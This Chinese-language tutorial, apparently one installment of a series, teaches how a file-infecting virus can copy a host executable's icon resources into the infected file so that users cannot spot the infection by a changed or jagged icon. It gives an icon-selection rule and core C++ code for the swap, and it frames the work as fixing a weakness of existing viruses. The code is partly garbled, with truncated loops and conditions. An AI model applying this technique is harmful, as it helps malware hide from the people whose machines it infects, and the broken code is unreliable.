作者:冒险王
在上半部分的实验中我们得到了宿主文件的图标所在的位置,大小和数量。并将它们的信息保存起来,有了这些信息,我们就可以任意施展易容术了!要知道在程序中的图标资源只是编译后的一连串的二进制数值,所以我们在确定其位置时容不得半点误差。在提取时少了一位或多了一位都会导致其面目全非。前面的方法提取的信息有多精确呢?我在装有Windows不同版本系统的虚拟实验环境下的N次实验证明,其精确程度达到了0误差。
老的问题解决了,新的问题又出来了。在一个PE文件内会有多个图标,而且不同的图标在其外观,大小和分辨率等都存在着差异。我们肉眼看到的其实只是其中的一个图标资源。那么问题就在于我们如何知道系统显示的是其中的哪一个图标?特别是那些存在着数十个图标资源的程序比如QQ安装程序,如果我们选择错误的图标资源来"易容",那么不但无法易容,反而会使宿主程序毁容。轻则图标出现明显的锯齿,重则完全变成另外一种图标。比如QQ安装程序的小企鹅图标变成了一个大圆球,虽然大圆球也是其内部图标资源。这是困扰着大多数病毒作者的比较头疼的问题。目前世面上的很多文件感染型病毒都存在着这样的技术缺陷,所以网络上流传用肉眼识别图标来判断文件是否糟病毒感染的方法并非是无稽之谈!
图标被改变或者出现锯齿的程序文件一定有问题!熊猫烧香病毒的作者深知现在的网民不是傻瓜,易容无法实现也就只能来个彻底的毁容。他想嘲讽和挑战网络世界,于是乎成千上万的国宝点着香来了。这是个不错的理由!言归正传,在一段相当长的时间里我一直在思考是否有种方法可以弥补这一缺陷,我查阅了大量资料,期间我接触到有一种观点声称在图标资源数组里的第一个图标资源便是在系统上显示的那个图标。我做了下感染实验,果然有效!但是我发现这种方法只能应用于低版本图标尺寸的PE文件,比如你感染一些16x16尺寸图标的老程序时,易容基本上很成功。但遇到那些高清晰的程序图标的PE文件时,就会出现明显的锯齿,比如电驴安装程序,感染后那只卡通驴就会变的非常模糊且边缘充满明显的锯齿。这令我大失所望!
所以,我不得不从新去思考PE图标加载的流程。这浪费了我很多时间,并且始终未有结果。到后来我干脆抛开理论自己研究起来,在大约百来次实验过程中,我总结出一个规律:在WindowsNT操作系统中,PE文件所显示的图标为与其图标资源中尺寸最大的并且分辨率最高为48x48图标资源非常接近,如果不存在此尺寸则从上往下依次类推。我称之为最佳配对,并且原宿主的中的最佳配对要小于感染后混合体图标的最大尺寸并且两者之差要能被1024整除。
虽然最佳配对和PE显示图标并非每次都是属于同一个图标资源,但是其相似程度从肉眼上是无法区分开来的!感染后的效果不但不会出现锯齿,并且清晰度较原先的图标有过之而无不及,这一发现令我异常兴奋,我设计了一套算法来实现之,下面是核心代码:
/*
*代码功能:修改PE文件图标
*将szSrc的图标写入szDst内
*冒险王
*/
bool ModifyIcon(TCHAR szDst[256],TCHAR szSrc[256])
{
DWORD SrcWritePos,SrcWriteSize,DstWritePos,DstWriteSize;
char* SrcBuf;
int sum;
if (!GetPos(szSrc,1))
{
return false;
}
if (!GetPos(szDst,2))
{
return false;
}
if (dwSize2[0]
{
return false;
}
//多数服从少数
if (count1>count2||count1==count2)
{
sum=count2;
for (int i=0;i
{
DWORD dwBytesRead , dwByteWritten;
HANDLE fp = CreateFile(szSrc, GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
SetFilePointer(fp,dwPos1[a+i],NULL,FILE_BEGIN);
SrcBuf = new char [dwSize1[a+i]];
ReadFile(fp,SrcBuf,dwSize1[a+i],&dwBytesRead,NULL);
CloseHandle(fp);
HANDLE ff = CreateFile(szDst,GENERIC_WRITE|GENERIC_READ,
0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(ff,dwPos2[i],NULL,FILE_BEGIN);
WriteFile(ff,SrcBuf,dwSize1[a+i],&dwByteWritten,NULL);
CloseHandle(ff);
return true;
}
}
}
}
else
{
sum=count1;
for (int i=0;i
{
DWORD dwBytesRead , dwByteWritten;
HANDLE fp = CreateFile(szSrc, GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
SetFilePointer(fp,dwPos1[i],NULL,FILE_BEGIN);
SrcBuf = new char [dwSize1[i]];
ReadFile(fp,SrcBuf,dwSize1[i],&dwBytesRead,NULL);
CloseHandle(fp);
HANDLE ff = CreateFile(szDst,GENERIC_WRITE|GENERIC_READ,
0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(ff,dwPos2[a+i],NULL,FILE_BEGIN);
WriteFile(ff,SrcBuf,dwSize1[i],&dwByteWritten,NULL);
CloseHandle(ff);
return true;
}
}
}
}
return true;
}
再联系上半段获取PE图标的代码,你就知道我设那些奇怪数字的用意了 。对图标资源的重新排序我选择了C语言的经典算法:冒泡。
为什么要对获取的图标资源进行重新排序?因为在PE文件中图标资源默认的排列顺序并不遵循我所期望的那样以尺寸大小为依据。在排序后就可以利用我得出的规律来进行筛选,再进行配对和写入。写入的原理很简单,我就不作赘述了。经过这道工序,那么感染后的宿主文件图标就不会再出现锯齿和模糊现象了!病毒易容术到此就OK了,我觉的最关键是其中的选择方法,其实有些难题的解决并不需要多少深奥的理论,自己多做做实验多去总结就会有收获的。不要只Copy别人的形式,在编程中一定要有自己的见解。
其实要使被感染的宿主文件图标不被改变有很多方法,我只阐述其中的这一种-易容术!希望可以让你更深层次的理解病毒原理并为你的学习带来帮助。在下一期,我会揭示病毒隐藏进程的原理。有兴趣的朋友请继续关注,和冒险王一起到程序的世界探险吧!